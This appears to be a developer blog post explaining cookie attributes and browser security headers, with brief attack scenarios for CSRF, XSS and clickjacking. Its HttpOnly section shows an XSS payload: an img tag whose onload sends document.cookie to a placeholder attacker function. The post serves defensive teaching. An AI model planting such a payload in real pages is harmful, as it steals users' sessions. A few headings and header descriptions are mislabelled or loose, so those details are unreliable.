All you have to know about Web Security

SameSite #

Explanation #

Decide if your cookie can be sent with cross-site request. It's used for preventing CSRF.

How hackers attack you #

  1. You have logged in to your bitcoin wallet of website A and it returned a cookie set in your browser WITHOUT SameSite attribute.
  2. The hacker send you an email with a fake link
  3. You click the link, and it actually sends a POST cross-site request to website A, which withdraws all your money to the hacker's bank account.

How to set SameSite attribute #

The server-side can return as follows:

Set-Cookie: key=value; SameSite=Strict

HttpOnly: #

Explanation #

A cookie cannot be accessed by JavaScript (i.e by document.cookie) and can only be sent to the server automatically. It's used for preventing XSS.

How hackers attack you #

  1. In a forum website, the hacker may leave a comment to the post as follows:
<img src="nothing.gif" onload="sendToHackersServer(document.cookie)" />
  1. Any other user who enters into this post, their cookies of this forum will be sent to the hacker.

How to set SameSite attribute #

The server-side can return as follows:

Set-Cookie: id=a3fWa; Expires=Thu, 21 Oct 2021 07:28:00 GMT; HttpOnly

Secure #

Explanation #

A cookie can only be sent over HTTPS protocol.

How to set Secure attribute #

Set-Cookie: id=a3fWa; Expires=Thu, 21 Oct 2021 07:28:00 GMT; Secure

__Host- #

Explanation #

Prefix the name of the cookie with __Host- will enforce Set-Cookie header to have Secure attribute.

Referrer-Policy #

Explanation #

This will decide how much referrer information will be included along with requests. It can be specified as an attribute of <a> tag when you're trying to open an external website. Without this, the opened webiste can access the Referer header to know referrer information of your site.

How to apply it #

<a href="https://external-site.com" rel="noreferrer"></a>

Cross-Origin-Opener-Policy #

Explanation #

When opening an external site from your site, to prevent the external site to access window.opener of your site (which can be used to do malicious behaviour against your site such as CSRF attack).

How to apply it #

<a href="https://external-site.com" rel="noopener"></a>

Content Security Policy #

Explanation #

This can do more fine-grained control on what resources the user agent is allowed to load for that page. Even without any setting, default same-origin policy will be applied.

How to apply it #

Option 1:
Return Content-Security-Policy HTTP header for each request.

Example:

Content-Security-Policy: default-src 'self' trusted.com *.trusted.com

Option 2:
Write in HTML <meta> tag.

<meta
  http-equiv="Content-Security-Policy"
  content="default-src 'self'; img-src https://*; child-src 'none';"
/>

X-Content-Type-Options #

How to apply it #

X-Content-Type-Options: nosniff

X-Frame-Options #

Explanation #

It's sent as a response HTTP header to decide if the browser can render a page in iframe or embed to prevent click-jacking attacks.

How hackers attack you #

  1. The hacker put an action buttion above an iframe
  2. Inside iframe, the hacker render the page of the bitcoin site which you have a wallet in it.
  3. You click the action button and think it'll complete certain scenario that the hacker designed for you.
  4. What's really going on is that the action button will use you cookie to do cross-site request and transfer all the money from your wallet to hackers' bank account.

How to apply it #

X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN

Origin and Referrer #

Explanation #

Origin and Referrer are request headers. They are quite similar, which tells where the request originates from, but Origin doesn't have path information.

Origin: https://developer.mozilla.org
Referer: https://developer.mozilla.org/en-US/docs/Web/JavaScript

Reference #

🙏🙏🙏 Since you've made it this far, sharing this article on your favorite social media network would be highly appreciated 💖! For feedback, please ping me on Twitter.

Published